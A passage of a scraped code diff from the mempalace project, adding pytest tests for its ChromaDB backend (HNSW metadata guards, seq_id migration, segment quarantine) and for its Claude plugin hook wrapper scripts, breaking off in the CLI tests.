# pip install mempalace[gpu] — NVIDIA CUDA
|
||||
# pip install mempalace[dml] — DirectML (Windows AMD/Intel/NVIDIA)
|
||||
# pip install mempalace[coreml] — macOS Neural Engine
|
||||
# After install, set MEMPALACE_EMBEDDING_DEVICE=cuda|dml|coreml (or "auto").
|
||||
gpu = ["onnxruntime-gpu>=1.16"]
|
||||
dml = ["onnxruntime-directml>=1.16"]
|
||||
coreml = ["onnxruntime>=1.16"]
|
||||
|
||||
[dependency-groups]
|
||||
dev = ["pytest>=7.0", "pytest-cov>=4.0", "ruff>=0.4.0", "psutil>=5.9"]
|
||||
|
||||
@@ -46,6 +46,14 @@ def _reset_mcp_cache():
|
||||
mcp_server._collection_cache = None
|
||||
except (ImportError, AttributeError):
|
||||
pass
|
||||
try:
|
||||
# Reset the per-process quarantine gate so tests don't leak
|
||||
# state through ChromaBackend._quarantined_paths.
|
||||
from mempalace.backends.chroma import ChromaBackend
|
||||
|
||||
ChromaBackend._quarantined_paths.clear()
|
||||
except (ImportError, AttributeError):
|
||||
pass
|
||||
|
||||
_clear_cache()
|
||||
yield
|
||||
|
||||
+381
-13
@@ -1,5 +1,6 @@
|
||||
import os
|
||||
import sqlite3
|
||||
from pathlib import Path
|
||||
|
||||
import chromadb
|
||||
import pytest
|
||||
@@ -16,6 +17,7 @@ from mempalace.backends.chroma import (
|
||||
ChromaBackend,
|
||||
ChromaCollection,
|
||||
_fix_blob_seq_ids,
|
||||
_pin_hnsw_threads,
|
||||
quarantine_stale_hnsw,
|
||||
)
|
||||
|
||||
@@ -334,17 +336,76 @@ def test_chroma_backend_creates_collection_with_cosine_distance(tmp_path):
|
||||
assert col.metadata.get("hnsw:space") == "cosine"
|
||||
|
||||
|
||||
def test_chroma_backend_sets_hnsw_bloat_guard_on_creation(tmp_path):
|
||||
"""The HNSW guard from #344 must land on freshly-created collection metadata.
|
||||
|
||||
Without batch_size + sync_threshold, mining ~10K+ drawers triggers the
|
||||
resize+persist drift that bloats link_lists.bin into hundreds of GB sparse
|
||||
and segfaults `status` / `search` / `repair`. The guard belongs at
|
||||
collection-creation time so every fresh palace gets it without needing
|
||||
a runtime retrofit. Asserting both keys land on the persisted metadata
|
||||
also covers the #1161 "config silently dropped" concern at CI time.
|
||||
"""
|
||||
palace_path = tmp_path / "palace"
|
||||
|
||||
ChromaBackend().get_collection(
|
||||
str(palace_path),
|
||||
collection_name="mempalace_drawers",
|
||||
create=True,
|
||||
)
|
||||
|
||||
client = chromadb.PersistentClient(path=str(palace_path))
|
||||
col = client.get_collection("mempalace_drawers")
|
||||
assert col.metadata.get("hnsw:batch_size") == 50_000
|
||||
assert col.metadata.get("hnsw:sync_threshold") == 50_000
|
||||
|
||||
|
||||
def test_chroma_backend_create_collection_sets_hnsw_bloat_guard(tmp_path):
|
||||
"""Same guard must apply via the legacy create_collection() path."""
|
||||
palace_path = tmp_path / "palace"
|
||||
|
||||
ChromaBackend().create_collection(str(palace_path), "mempalace_drawers")
|
||||
|
||||
client = chromadb.PersistentClient(path=str(palace_path))
|
||||
col = client.get_collection("mempalace_drawers")
|
||||
assert col.metadata.get("hnsw:batch_size") == 50_000
|
||||
assert col.metadata.get("hnsw:sync_threshold") == 50_000
|
||||
|
||||
|
||||
def test_get_collection_create_true_is_idempotent(tmp_path):
|
||||
"""Calling get_collection(create=True) twice on the same name must not crash.
|
||||
|
||||
ChromaDB 1.5.x's Rust bindings SIGSEGV when get_or_create_collection is
|
||||
called with metadata that differs from the stored collection metadata. The
|
||||
fix splits the call into get_collection -> fallback create_collection so the
|
||||
metadata-comparison codepath in chromadb_rust_bindings is never reached for
|
||||
existing collections. Regression guard for issue #1089.
|
||||
"""
|
||||
palace = str(tmp_path / "palace")
|
||||
backend = ChromaBackend()
|
||||
backend.get_collection(palace, collection_name="mempalace_drawers", create=True)
|
||||
col2 = backend.get_collection(palace, collection_name="mempalace_drawers", create=True)
|
||||
assert isinstance(col2, ChromaCollection)
|
||||
|
||||
|
||||
def test_get_collection_create_true_preserves_existing_metadata(tmp_path):
|
||||
"""Existing collection metadata is not overwritten when reopened with create=True."""
|
||||
palace = str(tmp_path / "palace")
|
||||
backend = ChromaBackend()
|
||||
backend.get_collection(palace, collection_name="mempalace_drawers", create=True)
|
||||
col = backend.get_collection(palace, collection_name="mempalace_drawers", create=True)
|
||||
assert col._collection.metadata["hnsw:space"] == "cosine"
|
||||
assert col._collection.metadata.get("hnsw:batch_size") == 50_000
|
||||
|
||||
|
||||
def test_fix_blob_seq_ids_converts_blobs_to_integers(tmp_path):
|
||||
"""Simulate a ChromaDB 0.6.x database with BLOB seq_ids and verify repair."""
|
||||
db_path = tmp_path / "chroma.sqlite3"
|
||||
conn = sqlite3.connect(str(db_path))
|
||||
conn.execute("CREATE TABLE embeddings (rowid INTEGER PRIMARY KEY, seq_id)")
|
||||
conn.execute("CREATE TABLE max_seq_id (rowid INTEGER PRIMARY KEY, seq_id)")
|
||||
# Insert BLOB seq_ids like ChromaDB 0.6.x would
|
||||
# Insert BLOB seq_id like ChromaDB 0.6.x would
|
||||
blob_42 = (42).to_bytes(8, byteorder="big")
|
||||
blob_99 = (99).to_bytes(8, byteorder="big")
|
||||
conn.execute("INSERT INTO embeddings (seq_id) VALUES (?)", (blob_42,))
|
||||
conn.execute("INSERT INTO max_seq_id (seq_id) VALUES (?)", (blob_99,))
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
@@ -353,8 +414,6 @@ def test_fix_blob_seq_ids_converts_blobs_to_integers(tmp_path):
|
||||
conn = sqlite3.connect(str(db_path))
|
||||
row = conn.execute("SELECT seq_id, typeof(seq_id) FROM embeddings").fetchone()
|
||||
assert row == (42, "integer")
|
||||
row = conn.execute("SELECT seq_id, typeof(seq_id) FROM max_seq_id").fetchone()
|
||||
assert row == (99, "integer")
|
||||
conn.close()
|
||||
|
||||
|
||||
@@ -380,39 +439,236 @@ def test_fix_blob_seq_ids_noop_without_database(tmp_path):
|
||||
_fix_blob_seq_ids(str(tmp_path)) # should not raise
|
||||
|
||||
|
||||
def test_fix_blob_seq_ids_does_not_touch_max_seq_id(tmp_path):
|
||||
"""chromadb 1.5.x owns max_seq_id; the shim must not interpret its BLOBs.
|
||||
|
||||
Regression guard for the 2026-04-20 incident: the old shim ran
|
||||
int.from_bytes(..., 'big') over chromadb 1.5.x's native
|
||||
b'\\x11\\x11' + ASCII-digit BLOB, producing a ~1.23e18 integer that
|
||||
silently suppressed every subsequent embeddings_queue write.
|
||||
"""
|
||||
db_path = tmp_path / "chroma.sqlite3"
|
||||
conn = sqlite3.connect(str(db_path))
|
||||
conn.execute("CREATE TABLE embeddings (rowid INTEGER PRIMARY KEY, seq_id)")
|
||||
conn.execute("CREATE TABLE max_seq_id (rowid INTEGER PRIMARY KEY, seq_id)")
|
||||
sysdb10_blob = b"\x11\x11502607"
|
||||
conn.execute("INSERT INTO max_seq_id (seq_id) VALUES (?)", (sysdb10_blob,))
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
_fix_blob_seq_ids(str(tmp_path))
|
||||
|
||||
conn = sqlite3.connect(str(db_path))
|
||||
row = conn.execute("SELECT seq_id, typeof(seq_id) FROM max_seq_id").fetchone()
|
||||
assert row == (sysdb10_blob, "blob")
|
||||
conn.close()
|
||||
|
||||
|
||||
def test_fix_blob_seq_ids_skips_sysdb10_prefix_in_embeddings(tmp_path):
|
||||
"""Defense-in-depth: sysdb-10 prefix in embeddings.seq_id is skipped."""
|
||||
db_path = tmp_path / "chroma.sqlite3"
|
||||
conn = sqlite3.connect(str(db_path))
|
||||
conn.execute("CREATE TABLE embeddings (rowid INTEGER PRIMARY KEY, seq_id)")
|
||||
sysdb10_blob = b"\x11\x11502607"
|
||||
conn.execute("INSERT INTO embeddings (seq_id) VALUES (?)", (sysdb10_blob,))
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
_fix_blob_seq_ids(str(tmp_path))
|
||||
|
||||
conn = sqlite3.connect(str(db_path))
|
||||
row = conn.execute("SELECT seq_id, typeof(seq_id) FROM embeddings").fetchone()
|
||||
# Still a BLOB — not converted to 1.23e18.
|
||||
assert row == (sysdb10_blob, "blob")
|
||||
conn.close()
|
||||
|
||||
|
||||
def test_fix_blob_seq_ids_still_converts_legacy_blobs_in_embeddings(tmp_path):
|
||||
"""Regression guard: pure big-endian u64 BLOBs still convert for genuine 0.6.x."""
|
||||
db_path = tmp_path / "chroma.sqlite3"
|
||||
conn = sqlite3.connect(str(db_path))
|
||||
conn.execute("CREATE TABLE embeddings (rowid INTEGER PRIMARY KEY, seq_id)")
|
||||
conn.execute("INSERT INTO embeddings (seq_id) VALUES (?)", ((42).to_bytes(8, "big"),))
|
||||
conn.execute("INSERT INTO embeddings (seq_id) VALUES (?)", (b"\x11\x11502607",))
|
||||
conn.execute("INSERT INTO embeddings (seq_id) VALUES (?)", ((7).to_bytes(8, "big"),))
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
_fix_blob_seq_ids(str(tmp_path))
|
||||
|
||||
conn = sqlite3.connect(str(db_path))
|
||||
rows = conn.execute("SELECT seq_id, typeof(seq_id) FROM embeddings ORDER BY rowid").fetchall()
|
||||
assert rows[0] == (42, "integer")
|
||||
assert rows[1] == (b"\x11\x11502607", "blob") # sysdb-10 row left alone
|
||||
assert rows[2] == (7, "integer")
|
||||
conn.close()
|
||||
|
||||
|
||||
def test_fix_blob_seq_ids_writes_marker_after_blob_path(tmp_path):
|
||||
"""The .blob_seq_ids_migrated marker is written after a successful BLOB → INTEGER conversion."""
|
||||
from mempalace.backends.chroma import _BLOB_FIX_MARKER
|
||||
|
||||
db_path = tmp_path / "chroma.sqlite3"
|
||||
conn = sqlite3.connect(str(db_path))
|
||||
conn.execute("CREATE TABLE embeddings (rowid INTEGER PRIMARY KEY, seq_id)")
|
||||
conn.execute("INSERT INTO embeddings (seq_id) VALUES (?)", ((42).to_bytes(8, "big"),))
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
marker = tmp_path / _BLOB_FIX_MARKER
|
||||
assert not marker.exists()
|
||||
|
||||
_fix_blob_seq_ids(str(tmp_path))
|
||||
|
||||
assert marker.is_file(), "marker must be written after a successful migration"
|
||||
|
||||
|
||||
def test_fix_blob_seq_ids_writes_marker_when_already_integer(tmp_path):
|
||||
"""The marker is written even when the migration is a no-op (already INTEGER).
|
||||
|
||||
The point of the marker is to skip the sqlite3 open on subsequent calls,
|
||||
not to record that a conversion happened. So a clean palace gets the
|
||||
marker on first run too — next ``_fix_blob_seq_ids`` call short-circuits
|
||||
before touching the sqlite3 file.
|
||||
"""
|
||||
from mempalace.backends.chroma import _BLOB_FIX_MARKER
|
||||
|
||||
db_path = tmp_path / "chroma.sqlite3"
|
||||
conn = sqlite3.connect(str(db_path))
|
||||
conn.execute("CREATE TABLE embeddings (rowid INTEGER PRIMARY KEY, seq_id INTEGER)")
|
||||
conn.execute("INSERT INTO embeddings (seq_id) VALUES (42)")
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
marker = tmp_path / _BLOB_FIX_MARKER
|
||||
assert not marker.exists()
|
||||
|
||||
_fix_blob_seq_ids(str(tmp_path))
|
||||
|
||||
assert marker.is_file(), "marker must be written even when no BLOBs found"
|
||||
|
||||
|
||||
def test_fix_blob_seq_ids_skips_sqlite_when_marker_present(tmp_path):
|
||||
"""When the marker exists, ``_fix_blob_seq_ids`` does not open sqlite3.
|
||||
|
||||
This is the load-bearing property of the marker — opening Python's
|
||||
sqlite3 against a live ChromaDB 1.5.x WAL DB corrupts the next
|
||||
PersistentClient call (#1090). Once a palace has been migrated, we
|
||||
never want to open it again, even read-only.
|
||||
"""
|
||||
from unittest.mock import patch
|
||||
from mempalace.backends.chroma import _BLOB_FIX_MARKER
|
||||
|
||||
# Pre-create the marker so the function should short-circuit.
|
||||
db_path = tmp_path / "chroma.sqlite3"
|
||||
db_path.write_bytes(b"sentinel") # presence required for the function to proceed
|
||||
(tmp_path / _BLOB_FIX_MARKER).touch()
|
||||
|
||||
with patch("mempalace.backends.chroma.sqlite3.connect") as mock_connect:
|
||||
_fix_blob_seq_ids(str(tmp_path))
|
||||
|
||||
mock_connect.assert_not_called()
|
||||
|
||||
|
||||
# ── quarantine_stale_hnsw ─────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _make_palace_with_segment(tmp_path, hnsw_mtime, sqlite_mtime):
|
||||
"""Helper: build a palace dir with one HNSW segment + sqlite at given mtimes."""
|
||||
# Marker bytes for the chromadb segment metadata file. A complete
|
||||
# write begins with PROTO opcode (0x80) and ends with STOP opcode
|
||||
# (0x2e); _segment_appears_healthy sniffs these bytes without parsing
|
||||
# the file.
|
||||
_HEALTHY_META = b"\x80\x04" + b"\x00" * 32 + b"\x2e"
|
||||
_CORRUPT_META = b"\x00" * 64
|
||||
|
||||
|
||||
def _make_palace_with_segment(tmp_path, hnsw_mtime, sqlite_mtime, meta_bytes=_HEALTHY_META):
|
||||
"""Helper: build a palace dir with one HNSW segment + sqlite at given
|
||||
mtimes. ``meta_bytes`` controls whether the segment looks healthy
|
||||
(default), corrupt (``_CORRUPT_META``), or has no metadata file at
|
||||
all (``None``)."""
|
||||
palace = tmp_path / "palace"
|
||||
palace.mkdir()
|
||||
(palace / "chroma.sqlite3").write_text("")
|
||||
seg = palace / "abcd-1234-5678"
|
||||
seg.mkdir()
|
||||
(seg / "data_level0.bin").write_text("")
|
||||
if meta_bytes is not None:
|
||||
(seg / "index_metadata.pickle").write_bytes(meta_bytes)
|
||||
os.utime(seg / "data_level0.bin", (hnsw_mtime, hnsw_mtime))
|
||||
os.utime(palace / "chroma.sqlite3", (sqlite_mtime, sqlite_mtime))
|
||||
return palace, seg
|
||||
|
||||
|
||||
def test_quarantine_stale_hnsw_renames_drifted_segment(tmp_path):
|
||||
"""Segment whose data_level0.bin is 2h older than sqlite gets renamed."""
|
||||
def test_quarantine_stale_hnsw_renames_corrupt_segment(tmp_path):
|
||||
"""Segment with stale mtime AND a malformed metadata file gets renamed."""
|
||||
now = 1_700_000_000.0
|
||||
palace, seg = _make_palace_with_segment(tmp_path, hnsw_mtime=now - 7200, sqlite_mtime=now)
|
||||
palace, seg = _make_palace_with_segment(
|
||||
tmp_path,
|
||||
hnsw_mtime=now - 7200,
|
||||
sqlite_mtime=now,
|
||||
meta_bytes=_CORRUPT_META,
|
||||
)
|
||||
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
|
||||
assert len(moved) == 1
|
||||
assert ".drift-" in moved[0]
|
||||
assert not seg.exists()
|
||||
# the renamed directory still exists and contains the original file
|
||||
renamed = list(palace.iterdir())
|
||||
drift_dirs = [p for p in renamed if ".drift-" in p.name]
|
||||
assert len(drift_dirs) == 1
|
||||
assert (drift_dirs[0] / "data_level0.bin").exists()
|
||||
|
||||
|
||||
def test_quarantine_stale_hnsw_leaves_healthy_segment_with_drift_alone(tmp_path):
|
||||
"""Segment with stale mtime but a complete metadata file is NOT
|
||||
renamed — this is the chromadb-1.5.x async-flush steady state, not
|
||||
corruption. Production case at 06:24 PDT 2026-04-26: cold-start
|
||||
quarantine renamed three healthy segments after a clean shutdown,
|
||||
leaving 151K-drawer palace with vector_ranked=0."""
|
||||
now = 1_700_000_000.0
|
||||
palace, seg = _make_palace_with_segment(
|
||||
tmp_path,
|
||||
hnsw_mtime=now - 7200,
|
||||
sqlite_mtime=now,
|
||||
meta_bytes=_HEALTHY_META,
|
||||
)
|
||||
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
|
||||
assert moved == []
|
||||
assert seg.exists()
|
||||
|
||||
|
||||
def test_quarantine_stale_hnsw_leaves_segment_without_metadata_alone(tmp_path):
|
||||
"""Segment with no metadata file is treated as fresh / never-flushed
|
||||
and not quarantined — renaming an empty dir orphans nothing."""
|
||||
now = 1_700_000_000.0
|
||||
palace, seg = _make_palace_with_segment(
|
||||
tmp_path,
|
||||
hnsw_mtime=now - 7200,
|
||||
sqlite_mtime=now,
|
||||
meta_bytes=None,
|
||||
)
|
||||
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
|
||||
assert moved == []
|
||||
assert seg.exists()
|
||||
|
||||
|
||||
def test_quarantine_stale_hnsw_renames_truncated_metadata(tmp_path):
|
||||
"""Segment with a truncated (under-floor-size) metadata file is
|
||||
quarantined — shape of a partial-flush during process kill."""
|
||||
now = 1_700_000_000.0
|
||||
palace, seg = _make_palace_with_segment(
|
||||
tmp_path,
|
||||
hnsw_mtime=now - 7200,
|
||||
sqlite_mtime=now,
|
||||
meta_bytes=b"\x80\x04",
|
||||
)
|
||||
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
|
||||
assert len(moved) == 1
|
||||
assert ".drift-" in moved[0]
|
||||
|
||||
|
||||
def test_quarantine_stale_hnsw_leaves_fresh_segment_alone(tmp_path):
|
||||
"""Segment with recent mtime vs sqlite is not touched."""
|
||||
"""Segment with recent mtime vs sqlite is not touched (mtime gate
|
||||
short-circuits before integrity gate)."""
|
||||
now = 1_700_000_000.0
|
||||
palace, seg = _make_palace_with_segment(tmp_path, hnsw_mtime=now - 10, sqlite_mtime=now)
|
||||
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
|
||||
@@ -443,3 +699,115 @@ def test_quarantine_stale_hnsw_skips_already_quarantined(tmp_path):
|
||||
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
|
||||
assert moved == []
|
||||
assert drift.exists()
|
||||
|
||||
|
||||
# ── make_client cold-start gate ──────────────────────────────────────────
|
||||
|
||||
|
||||
def test_make_client_quarantines_only_on_first_call_per_palace(tmp_path, monkeypatch):
|
||||
"""Quarantine fires on first ``make_client()`` for a palace, then is
|
||||
skipped on subsequent calls — prevents runtime thrash where a daemon's
|
||||
own steady writes bump ``chroma.sqlite3`` faster than HNSW flushes,
|
||||
making the mtime heuristic falsely trigger every reconnect."""
|
||||
from mempalace.backends.chroma import ChromaBackend
|
||||
|
||||
palace_path = str(tmp_path / "palace")
|
||||
os.makedirs(palace_path, exist_ok=True)
|
||||
(Path(palace_path) / "chroma.sqlite3").write_text("")
|
||||
|
||||
# Reset the per-process cache so this test is independent of others.
|
||||
monkeypatch.setattr(ChromaBackend, "_quarantined_paths", set())
|
||||
|
||||
calls: list[str] = []
|
||||
|
||||
def _spy(path, stale_seconds=300.0):
|
||||
calls.append(path)
|
||||
return []
|
||||
|
||||
monkeypatch.setattr("mempalace.backends.chroma.quarantine_stale_hnsw", _spy)
|
||||
|
||||
ChromaBackend.make_client(palace_path)
|
||||
ChromaBackend.make_client(palace_path)
|
||||
ChromaBackend.make_client(palace_path)
|
||||
|
||||
assert calls == [
|
||||
palace_path
|
||||
], "quarantine_stale_hnsw should fire once per palace per process, not on every reconnect"
|
||||
|
||||
|
||||
def test_make_client_quarantines_each_palace_independently(tmp_path, monkeypatch):
|
||||
"""Two distinct palaces each get one quarantine attempt — the gate is
|
||||
keyed by palace path, not global."""
|
||||
from mempalace.backends.chroma import ChromaBackend
|
||||
|
||||
palace_a = str(tmp_path / "palace_a")
|
||||
palace_b = str(tmp_path / "palace_b")
|
||||
for p in (palace_a, palace_b):
|
||||
os.makedirs(p, exist_ok=True)
|
||||
(Path(p) / "chroma.sqlite3").write_text("")
|
||||
|
||||
monkeypatch.setattr(ChromaBackend, "_quarantined_paths", set())
|
||||
|
||||
calls: list[str] = []
|
||||
|
||||
def _spy(path, stale_seconds=300.0):
|
||||
calls.append(path)
|
||||
return []
|
||||
|
||||
monkeypatch.setattr("mempalace.backends.chroma.quarantine_stale_hnsw", _spy)
|
||||
|
||||
ChromaBackend.make_client(palace_a)
|
||||
ChromaBackend.make_client(palace_b)
|
||||
ChromaBackend.make_client(palace_a) # already gated
|
||||
ChromaBackend.make_client(palace_b) # already gated
|
||||
|
||||
assert calls == [palace_a, palace_b]
|
||||
|
||||
|
||||
# ── _pin_hnsw_threads (per-process retrofit, separate from this PR's gate) ──
|
||||
|
||||
|
||||
def test_pin_hnsw_threads_retrofits_legacy_collection(tmp_path):
|
||||
"""Legacy collections (created without num_threads) get the retrofit applied."""
|
||||
palace_path = tmp_path / "legacy-palace"
|
||||
palace_path.mkdir()
|
||||
|
||||
client = chromadb.PersistentClient(path=str(palace_path))
|
||||
col = client.create_collection(
|
||||
"mempalace_drawers",
|
||||
metadata={"hnsw:space": "cosine"}, # no num_threads — legacy
|
||||
)
|
||||
assert col.configuration_json.get("hnsw", {}).get("num_threads") is None
|
||||
|
||||
_pin_hnsw_threads(col)
|
||||
|
||||
assert col.configuration_json["hnsw"]["num_threads"] == 1
|
||||
|
||||
|
||||
def test_pin_hnsw_threads_swallows_all_errors():
|
||||
"""Retrofit never raises even when collection.modify explodes."""
|
||||
|
||||
class _ExplodingCollection:
|
||||
def modify(self, *args, **kwargs):
|
||||
raise RuntimeError("boom")
|
||||
|
||||
_pin_hnsw_threads(_ExplodingCollection()) # must not raise
|
||||
|
||||
|
||||
def test_get_collection_applies_retrofit_on_existing_palace(tmp_path):
|
||||
"""ChromaBackend.get_collection(create=False) applies the retrofit."""
|
||||
palace_path = tmp_path / "palace"
|
||||
palace_path.mkdir()
|
||||
|
||||
# Simulate a legacy palace: create collection without num_threads
|
||||
bootstrap_client = chromadb.PersistentClient(path=str(palace_path))
|
||||
bootstrap_client.create_collection("mempalace_drawers", metadata={"hnsw:space": "cosine"})
|
||||
del bootstrap_client # drop reference so a fresh client reopens cleanly
|
||||
|
||||
wrapper = ChromaBackend().get_collection(
|
||||
str(palace_path),
|
||||
collection_name="mempalace_drawers",
|
||||
create=False,
|
||||
)
|
||||
|
||||
assert wrapper._collection.configuration_json["hnsw"]["num_threads"] == 1
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
"""Execution tests for Claude plugin hook wrapper scripts."""
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
REPO_ROOT = Path(__file__).resolve().parents[1]
|
||||
PLUGIN_HOOKS_DIR = REPO_ROOT / ".claude-plugin" / "hooks"
|
||||
BASH = shutil.which("bash")
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
BASH is None,
|
||||
reason="bash required for Claude plugin hook wrapper tests",
|
||||
)
|
||||
|
||||
SCRIPT_CASES = [
|
||||
("mempal-stop-hook.sh", "stop"),
|
||||
("mempal-precompact-hook.sh", "precompact"),
|
||||
]
|
||||
|
||||
|
||||
def _shell_path(path: Path) -> str:
|
||||
return path.as_posix()
|
||||
|
||||
|
||||
def _write_executable(path: Path, content: str) -> None:
|
||||
path.write_text(content, encoding="utf-8")
|
||||
path.chmod(0o755)
|
||||
|
||||
|
||||
def _make_bin_dir(tmp_path: Path, executables: dict[str, str]) -> Path:
|
||||
bin_dir = tmp_path / "bin"
|
||||
bin_dir.mkdir()
|
||||
for name, content in executables.items():
|
||||
_write_executable(bin_dir / name, content)
|
||||
return bin_dir
|
||||
|
||||
|
||||
def _capture_stdin_to(output_path: Path) -> str:
|
||||
return (
|
||||
'stdin_payload=""\n'
|
||||
'while IFS= read -r line || [ -n "$line" ]; do\n'
|
||||
' stdin_payload="${stdin_payload}${line}"\n'
|
||||
"done\n"
|
||||
f'printf \'%s\' "$stdin_payload" > "{_shell_path(output_path)}"\n'
|
||||
)
|
||||
|
||||
|
||||
def _run_hook(
|
||||
script_name: str,
|
||||
payload: str,
|
||||
bin_dir: Path,
|
||||
) -> subprocess.CompletedProcess[str]:
|
||||
assert BASH is not None
|
||||
|
||||
env = os.environ.copy()
|
||||
env["PATH"] = str(bin_dir)
|
||||
|
||||
return subprocess.run(
|
||||
[BASH, _shell_path(PLUGIN_HOOKS_DIR / script_name)],
|
||||
input=payload,
|
||||
text=True,
|
||||
capture_output=True,
|
||||
cwd=REPO_ROOT,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES)
|
||||
def test_plugin_hook_wrapper_prefers_mempalace_cli(
|
||||
tmp_path: Path, script_name: str, hook_name: str
|
||||
) -> None:
|
||||
args_file = tmp_path / "args.txt"
|
||||
stdin_file = tmp_path / "stdin.json"
|
||||
|
||||
bin_dir = _make_bin_dir(
|
||||
tmp_path,
|
||||
{
|
||||
"mempalace": (
|
||||
"#!/bin/sh\n"
|
||||
f'printf \'%s\' "$*" > "{_shell_path(args_file)}"\n'
|
||||
f"{_capture_stdin_to(stdin_file)}"
|
||||
"printf '{}\\n'\n"
|
||||
),
|
||||
"python": "#!/bin/sh\nexit 99\n",
|
||||
"python3": "#!/bin/sh\nexit 99\n",
|
||||
},
|
||||
)
|
||||
|
||||
payload = '{"session_id":"abc123"}'
|
||||
result = _run_hook(script_name, payload, bin_dir)
|
||||
|
||||
assert result.returncode == 0
|
||||
assert result.stdout == "{}\n"
|
||||
assert (
|
||||
args_file.read_text(encoding="utf-8")
|
||||
== f"hook run --hook {hook_name} --harness claude-code"
|
||||
)
|
||||
assert stdin_file.read_text(encoding="utf-8") == payload
|
||||
|
||||
|
||||
@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES)
|
||||
@pytest.mark.parametrize("python_name", ["python3", "python"])
|
||||
def test_plugin_hook_wrapper_falls_back_to_importable_python(
|
||||
tmp_path: Path, script_name: str, hook_name: str, python_name: str
|
||||
) -> None:
|
||||
args_file = tmp_path / "args.txt"
|
||||
stdin_file = tmp_path / "stdin.json"
|
||||
|
||||
python_stub = (
|
||||
"#!/bin/sh\n"
|
||||
'if [ "$1" = "-c" ]; then\n'
|
||||
" exit 0\n"
|
||||
"fi\n"
|
||||
f'printf \'%s\' "$*" > "{_shell_path(args_file)}"\n'
|
||||
f"{_capture_stdin_to(stdin_file)}"
|
||||
"printf '{}\\n'\n"
|
||||
)
|
||||
bin_dir = _make_bin_dir(tmp_path, {python_name: python_stub})
|
||||
|
||||
payload = '{"session_id":"xyz789"}'
|
||||
result = _run_hook(script_name, payload, bin_dir)
|
||||
|
||||
assert result.returncode == 0
|
||||
assert result.stdout == "{}\n"
|
||||
assert (
|
||||
args_file.read_text(encoding="utf-8")
|
||||
== f"-m mempalace hook run --hook {hook_name} --harness claude-code"
|
||||
)
|
||||
assert stdin_file.read_text(encoding="utf-8") == payload
|
||||
|
||||
|
||||
@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES)
|
||||
def test_plugin_hook_wrapper_errors_cleanly_when_no_runner_exists(
|
||||
tmp_path: Path, script_name: str, hook_name: str
|
||||
) -> None:
|
||||
bin_dir = _make_bin_dir(tmp_path, {})
|
||||
|
||||
payload = '{"session_id":"no-runner"}'
|
||||
result = _run_hook(script_name, payload, bin_dir)
|
||||
|
||||
assert result.returncode != 0
|
||||
assert result.stdout == ""
|
||||
assert "could not find a runnable mempalace command or module" in result.stderr
|
||||
|
||||
|
||||
@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES)
|
||||
def test_plugin_hook_wrapper_falls_back_to_python_when_python3_cannot_import(
|
||||
tmp_path: Path, script_name: str, hook_name: str
|
||||
) -> None:
|
||||
args_file = tmp_path / "args.txt"
|
||||
stdin_file = tmp_path / "stdin.json"
|
||||
bad_python3_used = tmp_path / "bad_python3_used.txt"
|
||||
|
||||
bin_dir = _make_bin_dir(
|
||||
tmp_path,
|
||||
{
|
||||
"python3": (
|
||||
"#!/bin/sh\n"
|
||||
'if [ "$1" = "-c" ]; then\n'
|
||||
" exit 1\n"
|
||||
"fi\n"
|
||||
f"printf 'used' > \"{_shell_path(bad_python3_used)}\"\n"
|
||||
"echo 'No module named mempalace' >&2\n"
|
||||
"exit 1\n"
|
||||
),
|
||||
"python": (
|
||||
"#!/bin/sh\n"
|
||||
'if [ "$1" = "-c" ]; then\n'
|
||||
" exit 0\n"
|
||||
"fi\n"
|
||||
f'printf \'%s\' "$*" > "{_shell_path(args_file)}"\n'
|
||||
f"{_capture_stdin_to(stdin_file)}"
|
||||
"printf '{}\\n'\n"
|
||||
),
|
||||
},
|
||||
)
|
||||
|
||||
payload = '{"session_id":"fallback"}'
|
||||
result = _run_hook(script_name, payload, bin_dir)
|
||||
|
||||
assert result.returncode == 0
|
||||
assert result.stdout == "{}\n"
|
||||
assert (
|
||||
args_file.read_text(encoding="utf-8")
|
||||
== f"-m mempalace hook run --hook {hook_name} --harness claude-code"
|
||||
)
|
||||
assert stdin_file.read_text(encoding="utf-8") == payload
|
||||
assert not bad_python3_used.exists()
|
||||
+274
-3
@@ -1,6 +1,7 @@
|
||||
"""Tests for mempalace.cli — the main CLI dispatcher."""
|
||||
|
||||
import argparse
|
||||
import shlex
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from unittest.mock import MagicMock, patch
|
||||
@@ -108,6 +109,7 @@ def test_cmd_init_no_entities(mock_config_cls, tmp_path):
|
||||
with (
|
||||
patch("mempalace.entity_detector.scan_for_detection", return_value=[]),
|
||||
patch("mempalace.room_detector_local.detect_rooms_local") as mock_rooms,
|
||||
patch("mempalace.cli._maybe_run_mine_after_init"),
|
||||
):
|
||||
cmd_init(args)
|
||||
mock_rooms.assert_called_once_with(project_dir=str(tmp_path), yes=True)
|
||||
@@ -125,11 +127,54 @@ def test_cmd_init_with_entities(mock_config_cls, tmp_path):
|
||||
patch("mempalace.entity_detector.detect_entities", return_value=detected),
|
||||
patch("mempalace.entity_detector.confirm_entities", return_value=confirmed),
|
||||
patch("mempalace.room_detector_local.detect_rooms_local"),
|
||||
# Pass 0 (corpus_origin) needs real file IO; this test mocks
|
||||
# builtins.open globally for the entities.json write, which would
|
||||
# break Pass 0's file-reading path. Patch Pass 0 out — a separate
|
||||
